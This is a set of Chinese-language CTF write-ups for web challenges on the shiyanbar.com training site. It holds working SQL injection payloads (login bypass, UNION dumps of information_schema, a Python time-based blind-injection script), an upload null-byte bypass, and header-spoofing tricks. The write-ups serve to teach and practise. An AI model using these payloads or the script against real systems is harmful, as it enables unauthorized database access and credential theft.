Web题目系列4
上传绕过 题目链接 http://shiyanbar.com/ctf/1781
题目描述 1 2 3 bypass the upload 格式:flag {}
解题思路 随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为 推测最后保存文件的名称为dir + filename,所以使用00
截断来构造绕过php
不能上传的问题。 flag{SimCTF_huachuan}
NSCTF web200 题目链接 http://shiyanbar.com/ctf/1760
题目描述 1 2 密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws 格式:flag:{}
解题思路 1 2 3 4 5 6 7 8 9 10 11 a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws =》rot13解码: n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf =>reverse: fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n =》base64解码: ~88:36 e1bg8438e41757d:29 cgeb6e48c`GUDTO|;hbmg <?php $_o="~88:36 e1bg8438e41757d:29 cgeb6e48c`GUDTO|;hbmg"; $_=""; for($_0=0 ;$_0
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
程序逻辑问题 题目链接 http://shiyanbar.com/ctf/62
题目描述
解题思路 打开题目后,发现源码中有index.txt
,此文件为该题目源码,打开进行审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <html> <head> welcome to simplexue </head> <body> <?php if ($_POST [user] && $_POST [pass]) { $conn = mysql_connect ("********" , "*****" , "********" ); mysql_select_db ("phpformysql" ) or die ("Could not select database" ); if ($conn ->connect_error) { die ("Connection failed: " . mysql_error ($conn )); } $user = $_POST [user];$pass = md5 ($_POST [pass]);$sql = "select pw from php where user='$user '" ;$query = mysql_query ($sql );if (!$query ) { printf ("Error: %s\n" , mysql_error ($conn )); exit (); } $row = mysql_fetch_array ($query , MYSQL_ASSOC); if (($row [pw]) && (!strcasecmp ($pass , $row [pw]))) { echo "<p>Logged in! Key:************** </p>" ; } else { echo ("<p>Log in failure!</p>" ); } } ?> <form method=post action=index.php> <input type=text name=user value="Username" > <input type=password name=pass value="Password" > <input type=submit> </form> </body> <a href="index.txt" > </html>
审计该题目,发现有两个条件。 \1. 首先通过user查询用户 \2. 然后通过查询出的用户,拿出pw和用户输入的pw进行比计较,如果相等,则登录成功。
存在的漏洞点:在查询用户时,user没有经过过去,可以进行注入,所以,通过构造注入,让查询出的结果能够被用户输入控制,和pw一样,就绕过了第二个比较。
直接给出payloaduser=' union select md5(1)# and &pass=1
,这条语句拼出的sql语句为select pw from php where user='' union select md5(1)#‘
。这样查询出的pw值就是用户输入的md5(1)
,当pass参数也输入1
时,就绕过了条件了,得到flag :SimCTF{youhaocongming}。
what a fuck!这是什么鬼东西? 题目链接 http://shiyanbar.com/ctf/56
题目描述
解题思路 打开题目,就可以看到是jsfuck编码,直接在浏览器console控制台执行这段代码就可以了。 flag : Ihatejs
PHP大法 题目链接 http://shiyanbar.com/ctf/54
题目描述
解题思路 打开题目看到备份文件index.php.txt
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (eregi ("hackerDJ" ,$_GET [id])) { echo ("<p>not allowed!</p>" ); exit (); } $_GET [id] = urldecode ($_GET [id]);if ($_GET [id] == "hackerDJ" ){ echo "<p>Access granted!</p>" ; echo "<p>flag: *****************} </p>" ; } ?> <br><br> Can you authenticate to this website?
从源代码可以看到,当输入是hackerDJ
时,题目会返回not allowed
,当输入经过url解码时是hackerDJ
时,返回flag。这里使用两次url编码,就可以绕过第一个条件,在第二个条件经过ruldecode后,两次编码的输入id转化为正常的ascii。payload %2568ackerDJ
。 DUTCTF{PHP_is_the_best_program_language}
这个看起来有点简单! 题目链接 http://shiyanbar.com/ctf/33
题目描述
解题思路 使用id=1 and 1=1
,回显正常,使用id=1 and 1=2
,回显中没有数据,易得此题目存在sql注入漏洞。后面直接给出payload。
id=1 union select 1,schema_name from information_schema.schemata
id=1 union select 1,table_name from information_schema.tables where table_schema=’my_db’
id=1 union select 1,column_name from information_schema.columns where table_schema=’my_db’
id=1 union select 1,k0y from thiskey
flag : whatiMyD91dump
貌似有点难 题目链接 http://shiyanbar.com/ctf/32
题目描述
解题思路 进入题目后,直接点开View the source code
查看源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function GetIP ( ) {if (!empty ($_SERVER ["HTTP_CLIENT_IP" ])) $cip = $_SERVER ["HTTP_CLIENT_IP" ]; else if (!empty ($_SERVER ["HTTP_X_FORWARDED_FOR" ])) $cip = $_SERVER ["HTTP_X_FORWARDED_FOR" ]; else if (!empty ($_SERVER ["REMOTE_ADDR" ])) $cip = $_SERVER ["REMOTE_ADDR" ]; else $cip = "0.0.0.0" ; return $cip ;} $GetIPs = GetIP ();if ($GetIPs =="1.1.1.1" ){echo "Great! Key is *********" ;} else {echo "错误!你的IP不在访问列表之内!" ;} ?>
看源码,发现直接修改ip就可以了,抓包重放。 SimCTF{daima_shengji}
头有点大 题目链接 http://shiyanbar.com/ctf/29
题目描述
解题思路 根据题目意思要满足三个条件才可以:
安装.net9.9框架。
第二个是保证在英国地区。
第三个是用ie浏览器。 第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)
来实现,最后一个在英国我们把语言改成en-gb
即可。
猫抓老鼠 题目链接 http://shiyanbar.com/ctf/20
题目描述 1 catch !catch !catch !嘿嘿,不多说了,再说剧透了
解题思路 这是一道脑洞题!所以访问抓包,看到响应包中有一个字段Content-Row
,将这个参数的值当做pass+key
提交,就拿到了flag。
看起来有点难 题目链接 http://shiyanbar.com/ctf/2
题目描述
解题思路 使用各种万能注入不能登录,测试payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and ''='&pass=&action=login
,发现响应时间很长,确认该题目为sleep
盲注。
给出脚本的payloadadmin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login
,其中第一个%s 为password字段的第几位开始,第二个%s表示ascii字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __author__ = 'netfish' import requestsimport timepayloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' flag = "" key=0 print ("Start" )for i in range (1 ,50 ): if key == 1 : break for payload in payloads: starttime = time.time() headers = {"Host" : "ctf5.shiyanbar.com" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3" , "Accept-Encoding" : "gzip, deflate" , "Cookie" : "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour" , "Connection" : "keep-alive" , } url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else sleep(0) end and ''='&pass=&action=login" %(i,payload) res = requests.get(url, headers=headers) if time.time() - starttime > 5 : flag += payload print ('\n pwd is:' , flag) break else : if payload == '-' : key = 1 break print ('\n[Finally] current pwd is %s' % flag)
跑出密码 idnuenna